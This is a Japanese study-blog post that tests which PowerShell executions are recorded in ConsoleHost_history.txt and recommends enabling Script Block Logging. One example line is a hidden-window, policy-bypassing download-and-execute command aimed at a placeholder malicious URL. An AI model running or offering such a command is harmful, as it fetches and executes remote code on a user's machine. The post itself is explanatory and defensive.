家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

PowerShellの対話型と非対話型

概要

PowerShellの実行にかかわる言葉で「対話型」と「非対話型」についてまとめます。

 

対話型と非対話型

PowerShellの「対話(interactive)」と「非対話(non‑interactive)」は、それぞれ以下のような特徴があります。

 

対話的(Interactive)

ユーザーがPowerShellに直接コマンドを入力しているような状態です。

対話型で入力したコマンドはConsoleHost_history.txtにログが残ります。

 

ConsoleHost_history.txtとは

ConsoleHost_history.txtはユーザーがPowerShellターミナルを起動して対話モードで入力したコマンドの履歴が記録されたファイルです。
PowerShellターミナルを介さずに実行されたコマンドは記録されません。

 

非対話的(Non‑Interactive)

ユーザーの入力以外、スクリプト等でコマンドを実行する状態です。
非対話型で実行されたコマンドはConsoleHost_history.txtに記録されません。

 

参考:非対話のコマンド例

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "iex ((New-Object Net.WebClient).DownloadString('https://悪意のあるURL'))"

 

検証

dateコマンドを実行するスクリプトを用意し、それぞれ対話型、非対話型で実行し、ConsoleHost_history.txtの更新状況を確認します。

対話型ではinteractive.ps1を実行し、非対話型でnon-interactive.ps1を実行します。

 

準備したスクリプト

各スクリプトの中身

 

検証前にConsoleHost_history.txtをクリアします。

PS C:\temp> type .\interactive.ps1
date
PS C:\temp> type .\non-interactive.ps1
date
PS C:\temp> Clear-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp>

 

直前のtypeコマンドが記録されておらず、ConsoleHost_history.txtクリア後に確認のために実行した「Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"」のみが記録されています。

 

この状態で対話型でスクリプトを実行し、再度、ConsoleHost_history.txtを確認します。

PS C:\temp> type .\interactive.ps1
date
PS C:\temp> type .\non-interactive.ps1
date
PS C:\temp> Clear-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> .\interactive.ps1

2026年3月27日 22:10:42


PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
.\interactive.ps1
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp>

 

対話型として実行したスクリプトのログが記録されています。

 

次に非対話型としてコマンドプロンプトよりスクリプト(non-interactive.ps1)を実行し、再度、ConsoleHost_history.txtを確認します。

 

コマンドプロンプトでの実行

C:\temp>cmd /c powershell.exe -NoProfile -NonInteractive -Command "& 'C:\temp\non-interactive.ps1'"

2026年3月27日 22:14:19



C:\temp>

 

実行を確認して再度、ConsoleHost_history.txtを確認します。

PS C:\temp> type .\interactive.ps1
date
PS C:\temp> type .\non-interactive.ps1
date
PS C:\temp> Clear-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> .\interactive.ps1

2026年3月27日 22:10:42


PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
.\interactive.ps1
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp> Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
.\interactive.ps1
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
PS C:\temp>

 

 

非対話型で実行したログが記録されていないことが確認できました。

 

非対話型のログはイベントログより確認できます。

Applications and Services Logs
 └ Microsoft
    └ Windows
       └ PowerShell
          └ Operational

 

実際に非対話として実行したスクリプト名が記録されています。

イベントログの確認結果

 

PowerShell関連ログの有効化について

上記のログは通常だと出力されない場合があります。
以下の設定よりログの出力を有効にすることでPowerShellの実行ログが取得できます。

管理用テンプレート  
 └ Windows コンポーネント  
    └ Windows PowerShell  
       └ Turn on PowerShell Script Block Logging → 有効

設定個所

出力されるログ量が増加することの懸念はあるものの、PowerShellを悪用する攻撃が多くあるため、以下の記事でも当該設定について有効化することを推奨しています。

www.manageengine.jp